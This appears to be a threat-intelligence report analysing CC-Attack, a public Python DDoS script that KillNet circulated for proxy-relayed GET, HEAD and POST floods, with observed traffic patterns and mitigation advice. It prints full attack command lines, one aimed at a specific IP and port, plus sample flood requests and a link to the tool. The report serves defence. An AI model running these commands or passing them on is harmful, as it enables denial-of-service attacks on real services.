KillNet Utilizes CC-Attack: A Quick & Dirty DDoS Method
Executive Summary
-
SecurityScorecard Threat Research & Intelligence analysis of a publicly available attack script known as CC-Attack, leveraged in the recent DDoS campaigns by KillNet, reveals the script automates the process of using open proxy servers to relay attacks. These proxy servers help to preserve the anonymity of the attacker and increase the number of attacking IPs against the target. Additionally, the script uses randomization in order to evade signature-based mitigation.
-
The attack script appears to have been written by a student in 2020. There is no evidence to suggest that the author of the script is directly associated with KillNet. It is common for attackers to make use of publicly available tools and exploits developed by unaffiliated third parties in order to accomplish their goals.
-
The CC-Attack attack toolkit consists of very few files and requires little skill to deploy. This ease-of-use is likely one of the reasons the KillNet group distributed it as a suggested method for attack campaigns.
-
Script automates the process of open proxy servers to relay attacks. These proxy servers help to preserve the anonymity of the attacker and increase the number of attacking IPs against the target. Additionally, the script uses randomization in order to evade signature-based mitigation.
-
The script is capable of generating three different Layer 7 attack types: GET Flood, HEAD Flood and POST Flood. The script randomizes multiple items within the HTTP requests, such as User-Agent, Referrer, Accept header, and POST data. The randomization of these requests makes static signature-based mitigation difficult.
Recommended Mitigations
-
It is critical to put layer 7 DDoS mitigations in place, via a service like Cloudflare, Akamai, or AWS Cloudfront. Simply having a firewall will not stop the volume of traffic we have observed against Ukrainian targets via netflow analysis.
-
Blocking Russian IPs will not stop DDoS attacks. The attacks are coming from exploited proxy servers across the world from neutral countries in Latin America, EU (not Russia or Belarus), and southeast Asia.
-
Reach out to [email protected] in order to obtain a data feed of open proxy IP addresses known to be used for malicious activities, and add the feed to your organization’s firewall.
Background
During the course of 2022, SecurityScorecard has been tracking multiple DDoS campaigns that have been targeting entities within the Ukrainian government, as well as other European government targets that are perceived to be allied with Ukraine government interests.
One of the groups at the forefront of these DDoS attacks is the hacking collective known as KillNet. The group maintains communication through a chat room using the Telegram application, a popular encrypted private messaging platform. Attacks are discussed, planned, and coordinated within the chat room, and detailed instructions are provided that give participants the ability to participate in DDoS attacks against the group’s announced targets.
We have observed the use of botnets such as Zhadnost and traditional attacks such as DNS amplification attacks against anti-Russian targets. The KillNet group specifically engages in crowdsourced attacks, several of which utilize open source python scripts. The attack methodology of CC-Attack use does have some similarity in the attack methods of Zhadnost, specifically in the use of vulnerable proxy servers that run MikroTik RouterOS.
Brief History of CC-Attack
According to the CC-Attack GitHub page, the attack script appears to have been written by a programmer who identifies as a student “interested in cyber-attack” (sic). The original version was uploaded in 2020, and as of the time of writing, there have been several updates committed to the repository within the last two months. The recent activity indicates that the author is continuing to refine the toolkit, perhaps from recent feedback from users participating in attacks (not necessarily only related to KillNet).
At the time of writing there was no OSINT discovered suggesting that the developer of the software is directly associated with KillNet. It is common, however, for attackers to make use of publicly available tools and exploits developed by unaffiliated third parties in order to accomplish their goals. We assess that is the case here with the KillNet collective.
CC-Attack Files
The CC-Attack attack toolkit consists of very few files and requires little skill to deploy. This ease-of-use is likely one of the reasons the KillNet group distributed it as a suggested method for attack campaigns.
-
LICENSE – Standard GPLv2.0 open source licensing information
-
README.md – Instructions for use (included in Figure x.x)
-
cc.py – Primary attack script written in Python
-
multiproc.sh- Script written in Bash used for multiprocess/multithreaded attacks using cc.py
CC-Attack DDoS Methodology
CC-Attack differentiates itself from DDoS attack scripts of previous eras specifically because the script automates the process of open proxy servers to relay attacks. These proxy servers help to preserve the anonymity of the attacker and increase the number of attacking IPs against the target. Additionally, the script uses randomization in order to evade signature-based mitigation.
The tool generates three (3) different Layer 7 attack types:.
-
GET Flood
-
HEAD Flood
-
POST Flood
As a result, the author randomizes multiple items within the HTTP requests, such as User-Agent, Referrer, Accept header, and POST data. The randomization of these requests makes static signature-based mitigation difficult.
Analysis of Proxy Servers used by CC-Attack
The majority of the proxy servers used by the tool are obtained from publicly available free proxy websites, and a significant amount of the proxies harvested from those resources consist of misconfigured, vulnerable, and exploited devices that run MikroTik RouterOS.
In some cases, the proxies are misconfigured to be open Others have weak passwords, some are compromised and part of the Meris botnet, or exploited by an old vulnerability such as CVE-2018-14847.
Proxy hosting websites are often short-lived by nature, and the hard-coded aspect of these URLs gives the inclination that the author of the toolkit must keep the list up-to-date in order to keep the script functional for new users. When these proxy sources eventually go offline and the author does not provide updates, it will be up to the user to locate and hard code in their own proxy sources.
Types of CC-Attack Layer 7 Floods
-
Attack Type – GET Flood
-
Image 3 shows the request and response from a GET Flood attack launched with cc.py, routing traffic through open proxy servers.
- Observations
- The randomization of most of the HTTP headers and packet sizes makes creating a mitigation rule challenging, however there are several common themes that might be leveraged for the creation of a rule:
-
GET request adds randomized numerical “/?XXXXXXXXXXXX” to URL
-
Referer is always randomized, always ends with the target from ‘Host:’ header
-
User-Agents are randomized on each attack
-
Accept: headers are randomized on each attack
-
Connection: Keep-Alive is static in all GET attack traffic
-
The order of the headers appears to be static and does not change, however the inclusion of various Accept-*: headers are randomized.
-
- The randomization of most of the HTTP headers and packet sizes makes creating a mitigation rule challenging, however there are several common themes that might be leveraged for the creation of a rule:
# Attack Command for GET Flood routing through IP addresses listed in proxy.txt $ python3 cc.py -url http://[targetip] -f proxy.txt -m cc -v 4 -s 30 # Request Flood GET /?212212128515 HTTP/1.1 Host: [targetip] Referer: https://soda.demo.socrata.com/…[targetip]/ User-Agent: Mozilla/5.0 (Linux x86_64; rv:57.0) Gecko/20210608 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1 Connection: Keep-Alive GET /?209356862854 HTTP/1.1 Host: [targetip] Referer: https://www.youtube.com/[targetip]/ User-Agent: Mozilla/5.0 (Linux x86_64; rv:58.0) Gecko/20210903 Firefox/58.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1 Accept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1 Accept-Charset: utf-8, iso-8859-1;q=0.5 Connection: Keep-Alive GET /?247238866543 HTTP/1.1 Host: [targetip] Referer: https://www.youtube.com/[targetip]/ User-Agent: Mozilla/5.0 (Linux x86_64; rv:58.0) Gecko/20210903 Firefox/58.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1 Accept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1 Accept-Charset: utf-8, iso-8859-1;q=0.5 Connection: Keep-Alive |
Image 1: Attack Command & Request GET Flood Samples. (Source: SSC Threat Intel
- Attack Type – HEAD Flood
-
Image 4 shows the request and response from a HEAD Flood attack launched with cc.py, routing traffic through open proxy servers.
-
- Observations
- The randomization of most of the HTTP headers and packet sizes makes creating a mitigation rule challenging, however there are several common themes that might be leveraged for the creation of a rule:
-
HEAD request adds randomized numerical “/?XXXXXXXXXXXX” to URL
-
Referer is always randomized from hardcoded list of domains, always ends with the target from ‘Host:’ header
-
User-Agents are randomized on each attack
-
Accept: headers are randomized on each attack
-
Connection: Keep-Alive is static in all HEAD attack traffic
-
The order of the headers appears to be static and does not change.
-
- The randomization of most of the HTTP headers and packet sizes makes creating a mitigation rule challenging, however there are several common themes that might be leveraged for the creation of a rule:
# Attack Command for HEAD Flood routing through IP addresses listed in proxy.txt $ python3 cc.py -url http://[targetip] -f proxy.txt -m head -v 4 -s 30 # Request Flood HEAD /?262511986655 HTTP/1.1 Host: [targetip] Referer: https:/www.ted.com/search?q=[targetip]/ User-Agent: Moz/illa/5.0 (68K; rv:69.0) Gecko/20200406 Firefox/69.0 Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */* Accept-Language: en-US,en;q=0.5 Connection: Keep-Alive HEAD /?192430506684 HTTP/1.1 Host: [targetip] Referer: https://www.ted.com/search?q=[targetip]/ User-Agent: Mozilla/5.0 (68K; rv:69.0) Gecko/20200406 Firefox/69.0 Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */* Accept-Language: en-US,en;q=0.5 Connection: Keep-Alive HEAD /?268415733372 HTTP/1.1 Host: [targetip] Referer: https://www.ted.com/search?q=[targetip]/ User-Agent: Mozilla/5.0 (68K; rv:69.0) Gecko/20200406 Firefox/69.0 Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */* Accept-Language: en-US,en;q=0.5 Connection: Keep-Alive |
Image 2: Attack Command & Request HEAD Flood Samples. (Source: SSC Threat Intel)
-
Attack Type – POST Flood
-
Image 5 shows the request and response from a POST Flood attack launched with cc.py, routing traffic through open proxy servers.
- Observations
- The randomization of most of the HTTP data makes creating a mitigation rule challenging, however there are several common themes that might be leveraged for the creation of a rule:
-
POST request adds randomized data to the request body, the data appears to be randomized hex. The attack script also gives users the option to use custom POST data. The POST body default all start with “ b’ “, followed by randomized hex
-
Referer always contains with the target IP/domain from ‘Host:’ header
-
User-Agents are randomized on each attack
-
Accept: headers are randomized on each attack
-
Content-Length is always randomized
-
Accept-Encoding: gzip appears to be static throughout the attack
-
X-requested-with:XMLHttpRequest appears to be static throughout the attack.
-
Connection: Keep-Alive is static in all POST attack traffic
-
- The randomization of most of the HTTP data makes creating a mitigation rule challenging, however there are several common themes that might be leveraged for the creation of a rule:
# Attack Command for POST Flood routing through IP addresses listed in proxy.txt $ python3 cc.py -url http://173.230.138.207:8000 -f proxy.txt -m post -v 4 -s 30 # Request Flood POST / HTTP/1.1 Host: [targetip] Accept: text/html, application/xhtml+xml, image/jxr, */* Accept-Encoding: gzip Accept-Charset: utf-8, iso-8859-1;q=0.5 Accept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1 Referer: http://[targetip]/ Content-Type: application/x-www-form-urlencoded X-requested-with:XMLHttpRequest User-Agent: Mozilla/5.0 (Linux i686; rv:31.0) Gecko/20220202 Firefox/31.0 Content-Length: 44 Connection: Keep-Alive b’!\xdf(T\xee8c\xc1\n\xe7\x14Y\xfe\xae\xebb’ POST / HTTP/1.1 Host: [targetip] Accept: text/html, application/xhtml+xml, image/jxr, */* Accept-Encoding: gzip Accept-Charset: utf-8, iso-8859-1;q=0.5 Accept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1 Referer: http://[targetip]/ Content-Type: application/x-www-form-urlencoded X-requested-with:XMLHttpRequest User-Agent: Mozilla/5.0 (Linux i686; rv:31.0) Gecko/20220202 Firefox/31.0 Content-Length: 44 Connection: Keep-Alive b’!\xdf(T\xee8c\xc1\n\xe7\x14Y\xfe\xae\xebb’ POST / HTTP/1.1 Host: [targetip] Accept: text/html, application/xhtml+xml, image/jxr, */* Accept-Encoding: gzip Accept-Charset: utf-8, iso-8859-1;q=0.5 Accept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1 Referer: http://[targetip]/ Content-Type: application/x-www-form-urlencoded X-requested-with:XMLHttpRequest User-Agent: Mozilla/5.0 (Linux i686; rv:31.0) Gecko/20220202 Firefox/31.0 Content-Length: 44 Connection: Keep-Alive b’!\xdf(T\xee8c\xc1\n\xe7\x14Y\xfe\xae\xebb’ |
Image 3: Attack Command & Request POST Flood Samples (Source: SSC Threat Intel)
Historical Examples of Crowdsourced DDoS Attacks & Hacktivism
Similar tools, tactics, and procedures were observed with the Anonymous hacking collective (Anonymous) during 2010 – 2012 during the Anonymous group’s attacks in response to piracy legislation and in support of Wikileaks.
During this campaign, Anonymous instructed interested participants to download the Low Orbit Ion Cannon (LOIC) and use that tool to flood targets that collectively were agreed upon by the chat room.
Specifically, the similarities in crowdsourcing of DDoS attacks through publicly available tools while communicating and coordinating in chat rooms is a technique that is still being used by KillNet and Anonymous. The sophistication of the CC-Attack tool far surpasses what was available during the days of LOIC. [in this and this way?]
While the concepts of collective DDoS attacks, crowd sourced coordination, and use of public toolkits are similar – the stark difference between the two groups is their rhetoric and political leanings. While the hacktivism of Anonymous was oftentimes anarchic, the hacktivism of KillNet seems to be motivated by nationalism.
At the time of writing, Anonymous just declared a ‘cyberwar’ against KillNet according to mainstream media reports. If this reporting is accurate, it will likely involve attempts at infiltration by both groups, attacks on group infrastructure, and attempting to expose members’ real identities through the practice of ‘doxxing.
Conclusion
The rise of hacktivism goes hand in hand with turmoil in the global political landscape. With escalations of conflict, it is to be expected there will be an escalation in cyberattacks by both state sponsored actors as well as decentralized collectives of nationalist hackers.
We will continue to monitor chatter resources for additional tools, tactics, and procedures utilized by malicious actors and compile publicly available reports on our findings.
References
CC-Attack script GitHub: https://github.com/Leeon123/CC-attack/
About Security Scorecard Threat Intelligence & Investigations Team
Please contact [email protected] for IoCs associated with CC-Attack, Zhadnost, KillNet, or with any questions or comments.
SecurityScorecard’s threat intelligence could be the competitive advantage your company needs to stay ahead of today’s fast-moving threat actors. If your company would like to access the expertise of SecurityScorecard’s Threat Research and Intelligence team, please contact [email protected].